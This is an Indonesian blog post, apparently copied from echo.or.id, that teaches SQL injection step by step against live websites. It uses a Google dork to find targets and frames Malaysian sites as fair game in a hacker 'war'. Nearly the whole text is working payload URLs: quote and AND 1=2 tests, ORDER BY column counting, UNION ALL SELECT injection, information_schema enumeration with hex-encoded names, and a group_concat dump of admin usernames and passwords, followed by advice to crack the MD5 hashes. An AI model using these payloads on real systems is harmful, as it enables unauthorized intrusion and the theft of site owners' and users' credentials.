Introducing SQL Injection

SQL Injection adalah bug yang sudah lama yang terdapat pada server SQL dimana dalam bug tersebut, hacker bisa melakukan perintah SQL yang dapat menampilkan informasi yang penting dari situs tersebut, misalnya password admin, sehingga situs tersebut dapat diakses oleh hacker yang berhasil menginjeksinya.


OK. Let's Fight..!

Pertama, cari target, dapat juga dicari di google, contoh keyword yang digunakan adalah:
inurl:news.php?id= site:my
Penjelasan keyword:
"inurl" adalah perintah agar hasil pencarian terdapat pada URL situs.
"news.php?id=" adalah input pencarian agar hasil menampilkan PHP yang nantinya akan kita lakukan test apakah terdapat bug SQL Injection pada situs tersebut.
"site:my" sebenarnya kita bisa tidak menggunakan keyword tersebut, karena akan menampilkan hasil yaitu website yang berasal dari Malaysia. hmm... koq Malaysia??? karena saat ini di dunia underground sedang terjadi perang antara Indonesia dengan Malaysia, perang tidak langsung yang salah satunya adalah saling menyerang situs dari negara masing-masing...
nah, contohnya {hanya contoh(hanya contoh)} sekali lagi hanya contoh, kita mendapat target yaitu:
http://target.com/news.php?id=7

Masukkan tanda petik ' diakhir URL untuk mengetahui apakah ada bug SQL injection pada website tersebut.
Jika terdapat error seperti ==>"MySQL Said : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1"<== maka itu membuktikan bahwa website tersebut 99% memiliki bug SQL Injection. contoh:
http://target.com/news.php?id=7'
Bisa juga dengan memasukkan statement AND 1=1 pada akhir URL, dan menghasilkan nilai TRUE (tampilan isi normal)
dan memasukkan statement AND 1=2 pada akhir URL, sehingga menghasilkan nilai FALSE (tampilan isi hilang). contoh:
http://target.com/news.php?id=7 AND 1=2

Lakukan pencarian column yang memiliki celah untuk melakukan SQL Injection, dengan perintah ORDER BY xx-- contoh:
http://target.com/news.php?id=7 order by 10--
Jika tampilan halaman masih normal, naikkan angka tersebut sampai muncul error. contoh misalnya terjadi error sampai angka 15, berarti jumlah columnnya adalah 14, karena column yang ke-15 tidak ada. contoh:
http://target.com/news.php?id=7 ORDER BY 15--

Setelah mengetahui jumlah column, maka kita akan mencari angka yang bisa qt lakukan injeksi/suntikan dengan perintah UNION SELECT atau UNION ALL SELECT diakhiri urutan column dari pertama sampai yang terakhir. contoh:
http://target.com/news.php?id=7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
halaman tersebut tidak akan menampilkan error atau halaman akan ditampilkan normal. Maka untuk mencari angka yang bisa untuk injeksi, berikan tanda - pada awal parameter id, contohnya:
http://target.com/news.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
Jika berhasil, maka angka yang qt cari² tersebut akan muncul, misalnya ditampilkan angka 7 dan 10, maka di angka tersebutlah kita dapat melakukan injeksi.

Sekarang kita akan mencari info database. Masukkan perintah² di 'angka ajaib' untuk melihat informasi dari database. berikut adalah contoh perintah² yang akan kita gunakan.
database() : Untuk melihat nama database yang digunakan.
user() : Untuk melihat user/pengguna database.
version() : Untuk melihat versi dari database.

untuk melihat nama database dan versi database, misalnya:
http://target.com/news.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,database(),8,9,version(),11,12,13,14--

sebenarnya yang diperlukan pertama hanyalah untuk mencari versi dari database.. kenapa? karena tutorial ini lebih mengarah tentang SQL Injection untuk database versi 5, karena nantinya kita akan mencari info dari table FROM INFORMATION_SCHEMA dimana tabel tersebut tidak ada pada database versi 4. Namun untuk mengetahui table dan kolom pada SQL versi 4, kita dapat melakukannya dengan cara menebak tabel dan kolom tersebut...

Sekarang kita akan mencari table name dengan menginjeksikan command table_name dan diakhir URL ditambahkan from information_schema.tables where table_schema=database()--. contoh:
http://target.com/news.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()--
Hmm.. untuk cara yang lebih cepat, kita dapat menggunakan perintah group_concat agar semua table ditampilkan, dan dapat mencari table yang berguna. contoh:
http://target.com/news.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()--

Jika kita telah mendapatkan data-data table, kita akan mencari 1 atau beberapa table yang akan kita intip informasi di dalamnya. misalnya table yang akan kita intip informasinya bernama "table_user"
Maka kita akan mencari column dari table tersebut dengan perintah column_name dan diakhir URL tambahkan from information_schema.columns where table_name='nama_table'--. contoh:
http://target.com/news.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14 from information_schema.columns where table_name='table_user'()--
Ooppzzz... jika setelah melakukan perintah tersebut maka muncul error, maka nama table harus kita convert ke hexa,.. bisa diconvert disini http://www.string-functions.com/string-hex.aspx
Setelah mengconvert table_user ke bentuk hexa, maka gantilah 'table_user' dengan hexa tersebut, namun harus diawali dengan 0x contoh: table_user yang telah diconvert ke hexa menjadi 7461626c655f7573, maka URLnya menjadi:
http://target.com/news.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x7461626c655f7573()--

Nah, misalkan data yang muncul adalah "user" dan "password", maka kita sudah sampai di tahap akhir, yaitu mengintip informasi yang terdapat di dalam "user" dan "password". Kita akan menggunakan perintah group_concat(user,0x3a,password) dan diakhir URL tambahkan from table_user. contoh:
http://target.com/news.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,group_concat(user,0x3a,password),8,9,10,11,12,13,14 from table_user--
Maka hasilnya akan menampilkan isi dari user dan password, dan anda telah mendapatkan user dan password admin dari website tersebut.
Jika password yang kita dapatkan terdiri dari angka dan huruf yang aneh, mungkin data tersebut telah diencrypt, dan biasanya metode enkripsinya dengan MD5. Jadi, untuk mendecrypt data tersebut, kita perlu mencari MD5 decryptor, hmm.. untuk mencarinya itu tugas anda, cari aja di Google.
note: kita menggunakan perintah (user,0x3a,password) agar format isi data yang tampil adalah user:password. dengan kata lain, 0x3a adalah tanda titik dua ":" yang telah diconvert ke dalam hexa.
You are done!

Thanx.

Sumber : echo.or.id

0 comments:

Copyright © 2009 - Manga Maniac - is proudly powered by Blogger
Smashing Magazine - Design Disease - Blog and Web - Dilectio Blogger Template